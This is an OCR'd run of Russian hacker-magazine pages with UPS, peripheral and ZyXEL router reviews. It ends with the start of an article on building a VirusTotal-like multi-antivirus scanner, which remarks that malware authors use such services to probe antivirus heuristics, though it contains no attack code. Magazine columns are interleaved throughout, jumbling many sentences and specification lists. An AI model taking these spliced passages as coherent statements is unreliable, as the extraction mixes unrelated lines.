Основным критерием возможностей тестируемых бесперебойников яв- получили точки перехода устройств на автономное питание.
ляется время автономной работы под нагрузкой. Для загрузки компью-
тера мы использовали утилиту Battery Eater’05 версии 1.0 в стандарт- Время автономной работы, мин
ном режиме работы. Этот тестовый пакет неплохо нагружает систему,
но надо учитывать, что при наличии мощной видеокарты и запуске Ippon Back Verso
400
ресурсоемких 3D приложений потребляемая мощность компьютера вы-
Ippon Back Comfo
Pro 600
CyberPower Value
800E

Тестовый стенд: CyberPower Value


600E
Процессор: Intel Core 2 Duo E6850
APC BE700‑RS
Кулер: Zalman CNPS9700
000
Платформа: ASUS P5K-E APC BE550‑RS
Память: 2 x 1024 Мб, Kingston DDR2, PC-8000, 1000 МГц 00:00 01:00 02:00 03:00 04:00 05:00 06:00 07:00 08:00 09:00 10:00 11:00
Видеокарта: 512 Мб, Chaintech GeForce 8800GT
Винчестер: 400 Гб, Western Digital 4000AAJS 7200 об/мин, 8 Мб
Основной характеристикой ИБП является время автономной работы
Блок питания: 580 Вт, Hiper HPU-4M580
Монитор: 21", Samsung 215TW
Питание мыши: USB
test_lab выражает благодарность за предоставлен-
Питание клавиатуры: PS/2
Устройства 3.5": нет ное на тестирование оборудование компании Мерлион
Устройства 5.25": Оптический привод ASUS DRW-1814BLT (т.(495) 739-0959, www.merlion.ru), а также российским
представительствам компаний CyberPower и APC

016 xàêåð 05 /113/ 08


>> ferrum
ST BUY ICE EDI
BE HO
TO

R’
BEST BUY

BE

TOR’s

s CHOICE
ST BUY

EDI
2400 руб.

2600 руб.

APC BE550‑RS
APC BE700‑RS
Технические характеристики:
Мощность, ВА: 550 Технические характеристики:
Мощность, Вт: 330 Мощность, ВА: 700
Входное напряжение: 180-266 В Мощность, Вт: 405
Количество выходных разъемов питания: Входное напряжение: 180-266 В
4 автономных, 4 без поддержки автономной работы Количество выходных разъемов питания:
Время полной зарядки: 16 ч 4 автономных, 4 без поддержки автономной работы
Количество автономных розеток: 4 типа евро Время полной зарядки: 16 ч
Интерфейс подключения: USB, RS-232 Интерфейс подключения: USB, RS-232
Дополнительно: защита телефонной/модемной линии Дополнительно: защита телефонной/модемной линии
Габариты, мм: 230 x 86 x 285 Габариты, мм: 230 x 86 x 285
Вес, кг: 6.4 Вес, кг: 6.8

Интересный девайс от известного производителя источников бесперебой- Еще один источник бесперебойного питания от известного американского
ного питания. Чем-то он напоминает сетевой фильтр, только увеличенный производителя. От предыдущей модели отличается более емкими аккуму-
в размерах. Устройство, по габаритам сравнимое с barebone-компьютером, ляторами, а также большей мощностью — 405 Ватт (против 330 у младшей
займет не так много места, тем более, его вполне можно разместить под сто- модели). Большинство характеристик схожи, но APC BE700‑RS
лом. Этот универсальный ИБП можно использовать и для бытовой техники обладает несомненным преимуществом: во время испытания этот ИБП
— благодаря наличию стандартных евророзеток. На верхней панели их продержался 8,5 минут, чего вполне достаточно, чтобы завершить работу с
имеется восемь штук, но только четыре из них способны поддерживать нор- фотографиями (например, в Photoshop) и корректно отключить компьютер.
мальную работу при отсутствии напряжения в сети. Оставшиеся служат для При том, что у нас довольно производительная система — рядовой офисный
фильтрации подаваемого напряжения. Простота подключения и индикации компьютер такой бесперебойник может подпитывать почти вдвое дольше.
работы — большой плюс инженерам, поработавшим над этим устройством. Отметим удобство программного обеспечения, входящего в комплект по-
При отключении питания APC BE550‑RS оповестит тебя звуковым сигналом ставки. Крайне информативная утилита PowerChute Personal выдает мак-
— настойчивым, но не слишком громким. Мощность ИБП составляет 330 Вт. симум сведений о процессе функционирования устройства: текущий режим
Подойдет для домашнего компьютера, но стоит понимать, что для мощной работы, нагрузка на батареи, потребляемая мощность и прочее. Даже
игровой системы его попросту может не хватить — потребление совре- простому пользователю будет интересно узнать о состоянии питающей сети
менных видеокарт уже перескочило за 100 Вт на каждую, а если поставить или возможностях девайса. Кстати, с помощью ПО можно задать действие,
массив? Во время тестирования наш компьютер проработал почти 6 минут которое будет выполняться при исчезновении напряжения. Информация
— успеешь сохранить все офисные документы или выйти из игры и отклю- собирается и сохраняется, а в результате ты прочитаешь подробную стати-
чить компьютер. Если же ты используешь девайс в качестве автономного стику событий. Опираясь на данные тестирования напряжений перехода на
источника для подключения бытовой видеотехники, и отключение не пла- батареи, можно сказать, что эта модель более чувствительна к перепадам
нируется на долгий срок… — можешь смело продолжать смотреть фильм. напряжения — уже с 205 Вольт девайс начинает существовать автономно
Приятно порадовал тот факт, что устройство переходит на питание от бата- (ситуация с падением напряжения ниже 180 довольно типична для загород-
рей при достижении критического порога в 140 Вольт — в домах с частым ных домов во время отопительного сезона). Как и у предыдущей модели,
падением напряжения это сохранит аккумуляторы. В качестве бонуса есть в этой реализована защита телефонной линии, а также имеется восемь
защита телефонной/модемной линии, но помни, что функционировать она розеток европейского типа, четыре из которых — с автономным питанием,
будет только при правильном подключении ИБП, то есть при наличии за- а остальные — защищают от перепадов напряжения. К недостаткам можно
земления. Всем хорош девайс. К минусам можно отнести только габариты: с отнести габариты устройства, но и этот недостаток легко списать, если рас-
такими размерами устройства бывают и существенно большей мощности. положить ИБП в укромном месте. Только помни, что любая техника должна
иметь путь для теплоотвода и вентиляции.

xàêåð 05 /113/ 08
017
>> ferrum

CyberPower Value 800E 2000 руб.

Технические характеристики:
Мощность, ВА: 800
Мощность, Вт: 480
Входное напряжение: 165-270 В
Количество выходных разъемов питания:
1300 руб. 3 автономных
Время полной зарядки: 8 ч
Интерфейс подключения: USB, RS-232
Дополнительно: нет
Габариты, мм: 100x140x320
Вес, кг: 6.1

CyberPower Value 600E

Технические характеристики:
Мощность, ВА: 600 Этот блок обладает большей мощностью, чем его предшественник, а значит
Мощность, Вт: 360 можно рассчитывать на большее время работы или подключить более произ-
Входное напряжение: 165-270 В водительный компьютер. Тестовая система продержалась на батареях почти
Количество выходных разъемов питания: 10 минут. Очень неплохой результат! Блок выглядит так же, как и младшая
3 автономных модель, потому позаимствовал все достоинства и недостатки. Простота ин-
Время полной зарядки: 8 ч дикации и управления сведена к одному выключателю и одному световому
Интерфейс подключения: USB, RS-232 индикатору на передней панели. Если обратишь внимание на заднюю стенку
Дополнительно: нет ИБП, заметишь, что имеются трехпиновые стандартные разъемы. Несколько
Габариты, мм: 100x140x320 не хватает стандартной европейской розетки для подключения периферии,
Вес, кг: 5.3 например, роутера. В результате, для полной функциональности надо будет
купить переходник. Хорошие показатели получены и при замерах напряже-
ния перехода на аккумуляторы — 165 В. Приятно порадовало и программное
обеспечение, идущее в комплекте. Утилита PowerPanel Personal Edition про-
ста и удобна в использовании — сразу после подключения программа авто-
Традиционный, с точки зрения обывателя, источник бесперебойного матически распознает устройство и выводит всю техническую информацию.
питания представляет собой стандартный блок с кнопкой включения Этот ИБП можно рекомендовать обладателям производительных систем,
питания на передней стенке и световым индикатором работы. Все разъемы не желающим вкладывать большие средства в систему энергоснабжения.
для подключения аппаратуры расположены на задней стенке — провода Сразу советуем обзавестись переходником для подключения устройств со
будут скрыты от посторонних глаз. Если места на столе не хватает — этот стандартными вилками (особенно, если пользуешься DSL-модемом, требу-
компактный девайс придется очень кстати. Для сбора информации о ющим отдельного питания). Не стоит подключать к ИБП лазерный принтер
состоянии устройства ты можешь подключить ИБП к компьютеру как по — его мощность такова, что в моменты пиковой загрузки может вывести из
старому интерфейсу RS-232, так и по новому — USB. Во время теста девайс строя бесперебойник.
переходил на питание от аккумуляторов при достижении минимального
порога в 165 В. CyberPower Value 600E неплохо показал себя в автономной
работе — больше 6 минут смог поддерживать активность нашего тестово- Напряжение перехода в автономный режим, Вольт
го стенда. К недостаткам можно отнести отсутствие стандартных розеток В сторону увеличения

для подключения аппаратуры — по сути, ты сможешь подключить только В сторону уменьшения


Ippon Back Verso
системный блок и монитор. Правда, существуют специальные переходники 400
на обычные европейские розетки, но почему бы сразу не сделать одну или Ippon Back Comfo
две розетки? Ведь подключить роутер или иной девайс, не имеющий такого Pro 600
разъема, будет проблематично. Хотя требовать от устройства стоимостью CyberPower Value
800E
чуть больше 1000 рублей наличия дополнительных опций не стоит. Время
CyberPower Value
полной зарядки аккумуляторов составляет около 8 часов, а простота инди- 600E
кации и подключения являются большим плюсом. Такие ИБП пользуются 000
APC BE700‑RS
популярностью не только в офисах, но и, что интересно, в местах, куда
доступ осуществляется не так часто, но необходимость в бесперебойном APC BE550‑RS

питании существует — например, в роутерах домашних сетей, которые 0 50 100 150 200 250 300
обычно монтируются на чердаках. Работать роутер от такого источника
может до часа, так как мощность, потребляемая им, редко бывает больше
30 Ватт. Поэтому присмотрись к этому устройству, если ты хочешь построить Некоторые устройства переходят на батарею при малейшей просадке
недорогую, но бесперебойную сеть. напряжения

018 xàêåð 05 /113/ 08


>> ferrum
ST BUY
BE

BEST BUY

BE
ST BUY
1900 руб..

1200 руб.
Ippon Back Comfo Pro 600

Технические характеристики: Ippon Back Verso 400


Мощность, ВА: 600
Мощность, Вт: 360 Технические характеристики:
Входное напряжение: 154-264 В Мощность, ВА: 400
Количество выходных разъемов питания: Мощность, Вт: 200
4 автономных, 2 без поддержки автономной работы Входное напряжение: 154-264 В
Время полной зарядки: 8 ч Количество выходных разъемов питания:
Интерфейс подключения: USB, RS-232 4 автономных, 2 без поддержки автономной работы
Дополнительно: защита телефонной/модемной линии Время полной зарядки: 8 ч
Габариты, мм: 300 x 124 x 210 Интерфейс подключения: USB, RS-232
Вес, кг: 7 Дополнительно: защита телефонной/модемной линии
Габариты, мм: 124 x 166 x 202
Вес, кг: 3.3

Самый тяжелый и, вместе с тем, довольно удачный ИБП от еще одного из-
вестного производителя. Аккуратный блок с удобной ручкой для переноски
на верхней панели, интересный дизайн и простота конструкции — все состав- Завершает наше тестирование очень стильный бесперебойник. Если поста-
ляющие успешного продукта. Габаритами блок скромен, а внешним видом вить его рядом с barebone, то сразу и не разберешь, где компьютер, а где ИБП.
— опрятен и займет немного места на рабочем столе или под столом, рядом с Компактный «кубик» обладает заявленной мощностью в 200 Вт — немного,
системником. На задней панели ИБП расположены два блока по три разъе- но посмотрим, каков он в работе. Девайс оснащен шестью разъемами, четы-
ма, один из которых запитывается от батарей, а на второй подается питание ре из которых продолжают выдавать питание, даже когда в сети его нет. Блок
через сетевой фильтр. В каждом блоке из трех разъемов два предназначены Ippon back Verso 400 функционирует без проблем вплоть до падения напря-
для подключения системника и монитора, а третий представлен стандартной жения до 154 Вольт, после чего переключается на питание от собственных
европейской розеткой. К этому выходу можно запросто подключить DSL-мо- батарей. Собрать информацию о состоянии устройства и батарей ты можешь,
дем или роутер, через который может осуществляться связь с Сетью. Тогда, в подключив устройство по шине USB или к COM-порту. Увы, тут возникла про-
случае исчезновения питания, ты спокойно можешь попрощаться с собесед- блема, так как софт написан на java и категорически отказывался правильно
ником и не торопясь завершить работу. Тестовые замеры показали переход функционировать. Смирившись с этим, ты можешь получить стильное, ком-
на питание от батарей при 165 В. Бесперебойное питание компьютеру блок пактное и легкое устройство, защищающее твой компьютер от перебоев пи-
обеспечивал в течение шести с половиной минут. Собирать информацию тания и телефонную линию от скачков напряжения. Наверняка тебе интерес-
о системе ты сможешь, подключив ИБП к COM-порту или к USB — на твое но, сколько же продержался этот малыш без питания, да еще под нагрузкой
усмотрение. Пришло время и для ложки дегтя. При попытке запустить про- такого компьютера? Ippon back Verso 400 смог поддерживать жизнь компа в
грамму сбора информации и статистики возникла проблема. Заключалась течение 3,5 минут. Последующая полная зарядка аккумуляторов потребует
она в невозможности работы утилиты, написанной на java. Переустановка порядка 8 часов. Конечно, времени автономной работы совсем не много, но
Java и загрузка обновленной версии результата не изменили. Вероятно, та- для того, чтобы сохранить важный документ — вполне хватит. Кроме того,
кая проблема наблюдается из-за несоответствия каких-либо программ, но бесперебойник рассчитан на существенно более слабые компьютеры, чем
к такому исходу надо быть готовым. Таким образом, тебе придется опираться тот, что использовался для теста. Его можно смело рекомендовать в подарок
на свой опыт, интуицию и секундомер. В результате, мы можем рекомендо- любимой девушке — перед тем, как в очередной раз исчезнуть в ходе ви-
вать этот ИБП пользователям, которые не намерены загромождать память деоконференции, она успеет спросить: «ой, а что это у меня пищит»? Столь
компьютера дополнительными утилитами и тем, кому необходимо сберечь интересное устройство при своей небольшой цене претендует на награду и,
оборудование со стандартными вилками. соответственно, покупку.

Выводы для любого продукта. Второй приз мы присудили устройству Ippon Back
По результатам проведенного тестирования однозначную победу Verso 400 за интересный дизайн, удобство и логичность. Не забывай
одержал APC BE700‑RS — ему присуждается приз «Выбор редакции». сохраняться, береги свой компьютер, и он будет служить тебе верой и
Удобст­во, функциональность и эргономичность — важные качества правдой.z

020 xàêåð 05 /113/ 08


Sennheiser PC 131
Отличная гарнитура для игр и VOIP-сервисов

Замечательная гарнитура PC 131 от ком-


пании «Сеннхайзер Аудио» — как раз тот
случай, когда самая обыкновенная вещь,
от которой не ждешь ничего сверхъесте-
ственного, может доставить массу удо-
вольствия и радости. Важное ее отличие
от гарнитур других производителей – вы-
сочайшее качество и продуманная эрго-
номика. Если через час пользования обыч-
ной гарнитурой голова начинает пухнуть,
а уши — требовать свободы, то с гарниту-
рой от Sennheiser ты даже не заметишь,
что на голове что-то есть, настолько
продумана ее конструкция!
Длинный трехметровый провод позво-
лит дотянуться даже до самого дальне-
го источника
звука, причем
лишняя его часть
удобно наматывается на катушку и не бу- С помощью гарнитуры
дет болтаться под ногами. А микрофон не Sennheiser ты сможешь:
1. Вдоволь общаться с друзьями из других городов и даже стран. Единствен-
придется долго крутить и вертеть, чтобы ное условие — у тебя и собеседника должен быть установлен Skype (www.
skype.com) или Gizmo (www.gizmoproject.com). Плату за разговор никто
твой собеседник тебя услышал. Твою речь не возьмет, все бесплатно! А вот для того, чтобы позвонить на городской
или мобильный телефон, придется заплатить денежку. Но даже по нашим
он захватывает из любой позиции и удаля- российским меркам, плата совсем небольшая.

ет посторонние звуки с помощью функции 2. Выиграть 5 ящиков пива, обыграв уверенного в себе противника по
интернету. Вот тебе важный хинт: даже в тех играх, где общение голосом не
шумоподавления. предусмотрено, вполне реально использовать умопомрачительную тулзу
TeamSpeak (www.goteamspeak.com) и легко обсуждать все действия со
своей командой голосом. Любое преимущество оправдано!
Технические характеристики
3. Насладиться по-настоящему качественным звучанием любимых музы-
Наушники: Микрофон: кальных произведений. Выжать максимум из своей звуковой карты поможет
Частота .......... 30 – 18 000 Гц Частота ............... 80 Hz – 15 000 Гц подключаемый к популярным проигрывателям плагин DFX (www.fxsound.
Сопротивление............. 32 Ω Чувствительность.........(-) 38 dBV/Pa com). С ним совершенствуются частотные характеристики и устраняются
Звуковое давление.......118 дБ Сопротивление.............2 kΩ два главных недостатка — срез высоких частот и недостаточное разделение
Длина кабеля ............... 3 м стереобазы и ее глубины.
>> ferrum

4 девайса

4000 руб.

2700 руб.

Brother HL-2140R Creative I-Trigue 3000


Лазерный принтер Звук для твоей комнаты
скромных размеров

Технические характеристики: Технические характеристики:


Разрешение печати: 2400 x 600 т/д Мощность:6 Вт RMS на канал (2 канала)
Процессор: 181 МГц 12 Вт RMS (сабвуфер)
Память: 8 Мб Линейная частотная характеристика: 40 Гц ~ 20 кГц
Интерфейс: USB 2.0 Настройка уровня басов
Эмуляция GDI Разъем: Line in (линейный вход) 3,5 мм
Емкость лотка для бумаги: 250 листов Кнопки включения/выключения и управления уровнем громкости располо-
Габариты: 368 x 361 x 170 мм жены на проводном пульте ДУ
Вес: 5,8 кг Разъем для наушников на проводном пульте ДУ

1. Принтер не занимает много места, кроме того, нет выступающих лотков 1. Стильный и элегантный дизайн колонок впишется в любой интерьер.
— удобно эксплуатировать в тесном или ограниченном пространстве. 2. Магнитное экранирование убережет от электромагнитных искажений на
2. Подключения и настройка простые — принтер подключается по шине мониторе.
USB, а с установкой драйверов справится любой. 3. Управление колонками и сабвуфером осуществляется с проводного
3. Яркий световой индикатор оповестит о состоянии работы принтера. пульта, к которому также можно подключить наушники.
4. Емкий лоток на 250 листов весьма практичен — при небольших объемах 4. Компактный сабвуфер хорошо воспроизводит басы и не запирает их на
печати не придется часто пополнять запас бумаги. максимальной громкости.
5. Работает девайс довольно тихо и быстро — первая страница была распе- 5. Динамики четко воспроизводят звук — искажений не замечено даже на
чатана спустя 8 секунд после запуска печати. максимуме.
6. Десять страниц убористого текста принтер выдал за 35 секунд — непло- 6. Общей громкости колонок достаточно для небольшой комнаты.
хой результат для такого «малыша». 7. Подключение к источнику звука осуществляется кабелем со стандарт-
7. Подача бумаги может осуществляться как из лотка, так и по одному листу ными разъемами mini-jack. При желании провод можно заменить более
(через специальное отверстие). длинным.
8. Замена картриджа с тонером производится в три действия: откинуть
крышку, заменить картридж, закрыть крышку. Не требуется никаких инст-
рументов. 1. Поверхность колонок отлично хранит отпечатки пальцев и притягивает
пыль — придется их частенько протирать.
2. Входящий в комплект кабель для подключения к источнику звука может
1. Светодиодные индикаторы режимов работы расположены на верхней оказаться коротковат (особенно, если системный блок установлен под
панели и не видны, если принтер расположить выше уровня глаз. столом).

022 xàêåð 05 /113/ 08


>> ferrum

900 руб.

700 руб.
Genius Navigator
365 Laser
Мышь-трансформер

Технические характеристики: Genius


Интерфейс: USB Traveler 350
Разрешение: 800/1600 dpi Мобильный трекбол
Органы управления:
Мышь: 2 клавиши и колесо прокрутки
Геймпад: джойстик, 8 программируемых кнопок, клавиши «Турбо» /
«Clear»
Цвет: Серебристо-черный Технические характеристики:
Тип: Проводной трекбол
Интерфейс: USB
Органы управления: 2 клавиши и колесо прокрутки, 2 функциональные
1. Компактная мышь легко помещается в любую сумку с ноутбуком. клавиши
2. Оптический сенсор обладает разрешением от 800 до 1600 Dpi. Хватит и Цвет: Серебристо-черный
для работы, и для игр!
3. Мышь-раскладушка может выступать в роли стандартного джойстика,
знакомого всем по игровым консолям.
4. Дополнительные кнопки на боковых сторонах активируются при перево- 1. Трекбол, по сравнению с мышью, при работе не требует много места
де мыши в «игровое» положение. — это важно при дефиците пространства и в дороге.
5. Восемь программируемых кнопок — удобно и эффективно. 2. Специальное крепление с присоской позволит разместить трекбол на
6. Подключение по шине USB избавит от необходимости в переходниках. панели ноутбука.
7. Кнопки мыши и колесо прокрутки блокируются при раскрытии «раскла- 3. Наклон механизма крепления в одной плоскости обеспечивает удобное
душки». положение руки.
4. Девайс может быть использован как правшами, так и левшами — режим
работы переключается всего одной кнопкой.
1. В разложенном состоянии джойстик неровный, что вызывает некоторое 5. Дублирование кнопок дает возможность быстрой и комфортной работы с
неудобство. устройством. Пригодится и наличие колеса прокрутки.
2. Механизм, соединяющий две половинки мыши, выполнен из пластмас- 6. Разматывающийся кабель решает проблему болтающихся проводов
сы — при активной игре мышь можно и поломать. — достаточно вытянуть столько, сколько нужно.
3. Нет аналогового джойстика — движения в играх не будут плавными.

1. Крепление трекбола к присоске не отличается надежностью — наблюда-


ется люфт.
2. С трекболом, в отличие от мыши, особо не поиграешь (хотя он удобнее
test_lab выражает благодарность за предоставленное при работе с ноутбуком, лежащим на коленях).
на тестирование оборудование российским предста- 3. Колесо прокрутки снабжено очень малым ходом и никак не страхует от
вительствам компаний Genius, Creative и Brother ненужного выделения или вызова функции при случайном нажатии.

xàêåð 05 /113/ 08
023
>> ferrum

Победа
Алексей Шуваев

в борьбе
за скорость
Тестирование двухдиапазонного
2600 руб.

ADSL интернет-центра ZyXEL


P660HTW2 EE

ST BUY
BE
BEST BUY

BE
ST BUY

Еще недавно у пользователей ADSL, обладающих охранно-пожарной сигнализа-


цией, или, наоборот, отказывавшихся от нее, а также тех, кто в силу различных
причин менял место жительства, часто возникал такой не очень приятный мо-
мент, как необходимость покупки практически такого же модема, но с под­держ-
кой другого Annex-стандарта. Но недавно проблема была решена.

ействительно, кому захочется переплачивать вдвое за более беспроводной сети, ты можешь включить аутентификацию и шифрование,
Д дорогие тарифы с сигнализацией, если последняя попросту благо поддерживается даже WPA2‑PSK.
не используется? Наверное именно поэтому компания ZyXEL Настройку сети можно смело доверить утилите NetFriend. В случае затруд-
решила выпустить универсальный двухдиапазонный интер- нений при поиске устройства — просто обнови версию утилиты, скачав
нет-центр P660HTW2 со встроенным модемом ADSL2+. свежую версию с zyxel.ru, и проблемы исчезнут. Эта утилита настроит твой
Зухель для работы с большинством ADSL-провайдеров, и тебе останет-
Возможности устройства ся только выбрать город, тариф и ввести логин и пароль. С передачей
Аккуратная коробочка скрывает в себе не только ADSL-модем (построен- данных интернет-центр справляется отлично: есть автоматический выбор
ный, кстати, на новой платформе Absolute ADSL, что, по-видимому, озна- скорости в зависимости от качества связи, увеличение скорости передачи
чает поддержку любых вариаций стандарта), но также Wi-Fi точку доступа, данных к провайдеру с 1 до 3,5 Мбит по стандарту Annex M и увеличение
роутер и коммутатор с возможностью подключения до четыре сетевых «последней мили» до 7 км по стандарту Annex L.
устройств. Чтобы не переживать за сохранность данных, передаваемых по Кроме того, распространение цифрового телевидения, особенно

024 xàêåð 05 /113/ 08


>> ferrum

Первый на рынке двухдиапазонный сплиттер

IPTV, не осталось незамеченным инженерами компании. Утилита


NetFriend поможет и в этом — тебе достаточно указать, к какому пор-
Настройка подключения в программе ZyXEL NetFriend: выбор провайдера
и услуги ту будет подключена приставка. Конечно же, роутер интернет-центра
умеет транслировать адреса (NAT), поэтому ты сможешь «спрятать»
несколько компьютеров от провайдера, а также организовать свои
сервера. А благодаря поддержке сервиса DynDNS, ты сможешь
сделать их доступными через интернет для своих друзей или всех
желающих.

Тестирование
Понятно, что скорость доступа в интернет у каждого обладателя P660HTW будет
своя — тут играют роль тарифный план провайдера и качество линии от АТС до
твоей квартиры, поэтому тестировать в тепличных условиях интернет-центр
было не интересно. Мы решили проверить скорость доступа между локальными
компьютерами. Для этого мы подключили к ZyXEL P660HTW2 посредством про-
водов два компьютера и ноутбук по Wi-Fi. При помощи утилиты, измеряющей
скорость передачи данных, мы замерили реальную пропускную способность и
обратили внимание на загрузку процессора интернет-центра. Результаты до-
вольно интересные: при передаче данных по проводному каналу скорость была
чуть ниже, чем при прямом соединении компьютеров — порядка 90 Мбит/с. При
Диалог программы ZyXEL NetFriend: выбор типа телефонной линии
этом загрузка процессора составляла всего 15-30%. При включении шифрова-
ния процессор был загружен на 90-100%.
Технические характеристики
• 1 разъем RJ-11 для подключения к телефонной линии
Вывод
Протестированный интернет-центр будет интересен пользователям, чьи
• 4 разъема RJ-45 ETHERNET (10BASE-T/100BASE-TX) с
квартиры оснащены пожарной или охранной сигнализацией (или наоборот,
автоопределением типа кабеля не оснащены, но есть планы «оснаститься» в будущем), а так же тем, у кого ка-
• ADSL2+ (G.992.5) чество телефонной линии оставляет желать лучшего. Установка и настройка
интернет-центра не отнимет много времени, а благодаря утилите NetFriend
• Поддержка Annex A, Annex B, Annex M, Annex L (RE
пользователю остается только выбрать провайдера, услуги и ввести в нужных
ADSL) полях аутентификационные данные. Быстро, просто и удобно. Если сетевые
• Шлюз прикладного уровня SIP (SIP ALG) устройства и дальше будут развиваться в таком духе, то, возможно, скоро мне
• Транзит VPN-соединений (IPSec, PPTP, L2TP), PPPoE- перестанут докучать подружки-блондинки с просьбой настроить интернет?
ZyXEL P660HTW2 EE получает награду «Лучшая покупка». z
соединений
• Беспроводная точка доступа стандарта 802.11 b/g Absolute ADSL
• Аутентификация по протоколам: IEEE 802.1x / WPA / Технология Absolute ADSL, которая нашла применение в новых модемах
и интернет-центрах ZyXEL, имеет следующую особенность: девайсы,
WPA-PSK / WPA2 / WPA2‑PSK
работающие по данному стандарту, обладают двухдиапазонным моду-
• WEP-шифрование 64/128/256 бит
лятором/демодулятором ADSL2+, поддерживающим два частотных
• Защита сети: Межсетевой экран с контролем устанав- плана — для передачи по стандартам Annex A и Annex B. Проще говоря,
ливаемых соединений (SPI) интернет-центр сможет работать как на простой телефонной линии,
так и на линии с охранно-пожарной сигнализацией или на цифровой
• Защита от DoS- и DDoS-атак из интернета
линии ISDN. В плюсы технологии смело можешь записывать: лучшую
• Уведомление при обнаружении сетевой атаки и ее связь на проблемных линиях, возможность связи на дистанции до семи
регистрация в журнале километров (технология Annex L), лучшую помехозащищенность,
• Управление: NetFriend, Веб-конфигуратор, TELNET, увеличение скорости передачи данных к провайдеру с 1 Мбит/с до 3,5
Мбит/с. Самое приятное, что все сетевые устройства ZyXEL, постро-
SNMP, FTP/TFTP
енные на новой платформе, поддерживаются программой NetFriend.
• Размеры:180 x 128 x 36 мм Настройка при помощи данного софта сводится к нескольким щелчкам
• Масса: 350 г без адаптера питания мыши и вводу уникальных логина и пароля — остальные настройки
полностью автоматизированы.

xàêåð 05 /113/ 08
025
>> pc_zone

Крис Касперски

Тотальный антивирус
Универсальный антивирусный центр своими руками

Появившаяся некогда идея проверять файл сразу по многим антивирусам ока-


залась очень удачной. Онлайновая антивирусная служба www.virustotal.com
имеет тысячи посещений ежедневно, при этом обладая дюжиной недостат-
ков. Сервис не раскрывает своих секретов, однако автор давно разобрал его
по винтикам и теперь работает над улучшенной реализацией.

то время как одни пользователи держат на компьютере целый ны к virus-total’у и активно его используют.
В зоопарк различных антивирусов, конфликтующих друг с А что если создать еще более качественный сервис? Ведь virus-total при-
другом и тормозящих ПК (не говоря уже о стоимости лицензий митивен до ужаса — качество сканирования оставляет желать лучшего, не
или сложности поиска правильного «лекарства»), хакеры говоря уже о длинных «социалистических» очередях, в которых приходится
предпочитают ловить малварь самостоятельно. В крайнем случае — про- подолгу простаивать из-за частых перегрузок сервера (а все потому, что ба-
веряют подозрительные файлы на бесплатных онлайновых службах типа лансировка нагрузки и оптимизация изначально не предусматривались!).
того же www.virustotal.com. Эти же службы используются для «обкатки» На момент написания этих строк, мыщъх по заказу одной антивирусной
вирусов собственного написания на предмет обнаружения эвристически- компании (имя которой разглашать не вправе) руководит разработкой
ми анализаторами. И хотя, если верить блогу Евгения Касперского (www. онлайнового сервиса, рассчитанного на «магистральную» загрузку и
viruslist.com/en/weblog), хакеры не доверяют virus-total’у, поскольку он предоставляющего пользователям кучу всевозможных рычагов управле-
передает подозрительные файлы антивирусным компаниям и вирусы начи- ния. Естественно, исходный код к статье не прилагается, да он и не нужен,
нают палиться еще на старте, эта точка зрения отражает лишь малую часть главное — это концепт, плюс некоторые неочевидные тонкости, с которыми
действительности. Да, действительно, профессиональные разработчики придется столкнуться при «промышленных» масштабах эксплуатации.
атакующих программ и rootkit’ов проверяют их на «вшивость» исключи- Естественно, это требует широких сетевых каналов, мощных многопро-
тельно локальным способом на своих собственных машинах, предотвращая цессорных систем и еще кучу всего. Словом, без солидных финансовых
утечку информации, но… профессионалов единицы, к тому же эксперимен- вложений тут никак не обойтись. Однако никто не заставляет нас создавать
тируя с virus-total’ом, хакеры определяют общие критерии ругательства сервис планетарного масштаба и, если постараться, можно вполне уло-
антивирусов, выявляя последовательности машинных команд/вызовов житься в бюджет $2000 или даже меньше. Нам потребуется интернет-канал
API-функций, приводящих к срабатыванию эвристического анализатора. с безлимитным тарифом, чтобы злые люди не кинули нас на входящий тра-
Однажды «обломав» антивирус, хакер может многократно использовать фик, который будет весьма значительным. В качестве компьютера вполне
найденный способ обхода эвристика. Достаточно посетить любые форумы, подойдет машина с процессором Core2Duo и парой гигабайт оперативной
где обитают вирусописатели, чтобы убедиться, что они весьма неравнодуш- памяти. О проблемах с лицензированием антивирусов мы поговорим в

026 xàêåð 05 /113/ 08


>> pc_zone
одноименной врезке, а пока отметим, что никаких особых про- меню и прочими элементами управления по своему усмотре-
граммистских навыков не понадобится. Подойдет любой язык нию. Аналогичным способом извлекается и содержимое окна,
(Си, Perl, PHP) и минимальный опыт работы с CGI (пользуясь содержащего результаты проверки. Получив форматирован-
случаем, хочу порекомендовать библиотеку CGIC). ный rich-текст или plain-текст, пропускаем его через парсер
— и все!
Virus-total изнутри info
Virus-total устроен не просто, а очень просто. Он использует Маленькие секреты больших серверов Сервисы, подоб-
консольные версии антивирусов, управляемые посредством При попытке реализации вышеописанной модели неизбежно ные virustotal.com,
командой строки и выдающие результат сканирования в всплывут проблемы удручающе низкой производительно- распространены в
стандартный проток вывода, который легко перенаправить в сти. Но мы не боимся трудностей и начнем щемить их одну хакерских кругах.
файл или пайп (pipe). за другой. Первое и очевидное. Как показывает статистика, Основное их отличие
Что мы делаем? Через специальную форму на сайте закачива- различные пользователи преимущество проверяют одни и те — приватность. Они
ем «подопытный» файл, скармливаем его антивирусу, пред- же файлы, как правило, принадлежащие Windows или попу- никогда не отправ-
варительно перенаправив вывод во временный файл/пайп, лярным программным пакетам. Чтобы сократить накладные ляют обработанные
который тут же парсим (то есть выбрасываем все лишнее, расходы, рекомендуется подсчитывать контрольную сумму файлы в антивирусные
оставляя только статус проверки и имя вируса). Парсить вывод файла перед его проверкой и, если такой файл уже проверял- центры (гарантируя
легче всего Perl’ом, поддерживающим мощный механизм ся ранее, выдавать уже готовые результаты сканирования, непопадание малвари
регулярных выражений, но Си-программы намного более сохраненные в базе данных. На первый взгляд, в реализации в антивирусные
производительны, а потому предпочтительнее (особенно, при алгоритма нет ничего сложного, но тут притаилось немало базы), но за каждую
большом наплыве пользователей). подводных камней. Вот наиболее актуальные: проверку взимают
На этом, собственно говоря, возможности virus-total’а и • антивирусные базы обновляются постоянно и потому даже небольшую плату.
заканчиваются. Это создает большие проблемы: во-первых, за короткий промежуток времени информация о сканиро- О других хакерских
далеко не все антивирусы имеют консольные версии, а, во- вании безнадежно устаревает. Следовательно, необходимо сервисах ты можешь
вторых, даже те, что имеют, поведением зачастую радикально вместе с контрольной суммой сохранять и дату последнего прочитать в подроб-
отличаются от полноценных GUI-версий. В чем легко убедить- времени сканирования (отображая ее пользователю), а также ной статье прошлого
ся, сравнив результаты сканирования большой коллекции предусмотреть кнопочку «rescan»; номера ][.
вирусов локальным способом и через virus-total — сравнение • использование алгоритма CRC32 может показаться плохой
